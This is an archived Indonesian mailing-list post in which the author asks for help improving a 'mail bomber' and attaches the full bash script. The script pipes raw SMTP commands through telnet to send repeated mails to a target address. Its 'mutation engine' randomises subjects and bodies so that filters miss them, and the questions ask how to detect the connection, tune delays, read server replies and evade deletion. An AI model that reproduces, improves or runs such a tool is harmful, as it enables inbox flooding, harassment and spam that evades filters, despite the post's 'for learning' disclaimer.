Assalamualaikum,

Mo nanya' ttg pemrograman bash.
Disini saya baru mencoba membuat suatu mail bomber sederhanaaaa banget.
Pokoknya Uelek POLL!

Yang ingin saya tanyakan:

1) Bagaimana kita mengetahui (dari bash), telnet kita udah connected
   apa masih trying.
2) Berapa sih delay yang tepat? untuk sleep.
3) Bagaimana kita dapat membaca hasil keluaran dari mail server tsb
   (e.g Sender Ok, Relaying denied etc..etc)
4) Apa dengan mem-polymorphic Subject dan body udah cukup? (Biar
   nggak gampang dihapus secara brutal gitu)

Makasih banyak ya.....

Wassalamualaikum.




--------------------------------------------------------------------------
#!/bin/bash

# Hei teman-teman ini cuman untuk tujuan belajar lho!!!
# Jangan digunakan yang nggak-enggak ya..... :)

usage() {
   echo
   echo "Cara pemakaian :"
   echo "bomber [mail server] [filebodymessage] [from] [to]"
   echo "By: Rizki Wicaksono"
   echo
}  

subject() {
   echo "Ini subjectnya beda lho!!!" > sbj
   echo "Apalagi yang ini pasti berbeda" >> sbj
   echo "Tapi sayangnya kalo' nggak beda khan susah" >> sbj
   
   echo "Dedicated to: My Lovely Friend in Electrical Engineering" >> sbj
   echo "Masaksih bisa bikin mail bomber kayak ginian" >>sbj
   echo "Wahh senengnya udah bisa bikin mail bomber" >>sbj
   
   echo "Aku nggak tahu sebenernya yang harus ditulis disini apa?" >>sbj
   echo "Buat Chayanku Chei di Elektro 99">>sbj
   echo "Buat semua temen-temenku di Informatika 99">>sbj
   
   echo "Makasih atas segala dukungan kalian" >>sbj
   echo "Bingung euy! Mao nulis apa lagi ya?" >>sbj
   echo "Iya deh, nulis terserah juga boleh" >>sbj
   
   echo "Tapi jangan menjelek-jelekkan temen lho!">>sbj
   echo "Eh disini dingin ya ngga kayak dikampung dulu" >>sbj
   echo "Tapi ceweknya cakep-cakep euy!" >>sbj

}

# The Email Mutation Engine is HERE!!!!!! 
mutation() {
   cat temporary > engage
   echo $RANDOM > /dev/null  # Init Random Seed
   BARIS=`expr $RANDOM % 16`
   if test $BARIS -eq "0"; then
      BARIS="4";
   fi
   echo "$BARIS p" > script.sed

   # Mutate The Subject PART!!!! :)
   echo "echo \"Subject: `sed -n -f script.sed sbj`\"" >> engage
   echo "echo" >>engage

   # Jumlah baris dalam file $FILE
   JUM=`cat $FILE|wc -l`
   JUM=`expr $JUM + 1` 

   # Nomer barisnya
   echo $RANDOM > /dev/null # Init Random Seed
   START=`expr $RANDOM % $JUM`

   echo $RANDOM > /dev/null # init random seed
   LAST=`expr $RANDOM % $JUM`
      
   # Body dipilih dari baris n ke m, dari file $2
   # n < m 
   if test $START -gt $LAST; then
     echo "$LAST,$START p" > script.sed
   else
     echo "$START,$LAST p" > script.sed
   fi    
   
   # Mutate the mail body
   echo "sed -n -f script.sed $FILE" >> engage
   cat temporary.last >> engage
}

if [ -z $4 ]; then
   usage 
   exit 1
fi


# Makin the first part of polymorphic file
echo "echo \"helo there\"" > temporary
echo "echo \"mail from:$3\"" >> temporary
echo "echo \"rcpt to:$4\"" >>temporary
echo "echo \"data\"" >>temporary
echo "echo \"Date:`date`\"" >>temporary
echo "echo \"From:$3\"" >>temporary
echo "echo \"To:$4\"" >>temporary


# Makin the last part of polymorphic file
echo "echo \".\"" >>temporary.last
echo "sleep 1" >>temporary.last 
echo "echo \"quit\"" >>temporary.last

# Makin the subject library file
subject


MAX=0
TOTAL=10
echo 
export FILE=$2

while [ "$MAX" -lt "$TOTAL" ]; do
   echo "Sending mail...`expr $MAX + 1`"

   # Now, Mutate the mail!
   mutation

   # Engage the BOMB!
   bash engage | telnet $1 25 >/dev/null 2>&1

   # Increase the MAX Var
   MAX="`expr $MAX + 1`"
done

echo "Success."
rm temporary temporary.last engage sbj script.sed
exit 0



 http://www.indolinux.com - Nikmati Layanan Personal INDOLINUX :: 
 http://techscape.net/ - Webhosting: Dual T3 on Dual Pentium III 450Mhz
 Only US$1.95/month -> CGI SSL 5MB Unlimited Traffic & Mail FP2000
 -------------------------------------------------------------------
 untuk berhenti kirim  email  ke  [EMAIL PROTECTED]
 untuk melihat peraturan kirim email  ke  [EMAIL PROTECTED]
 arsip berada di  http://www.mail-archive.com/[email protected]
 

Kirim email ke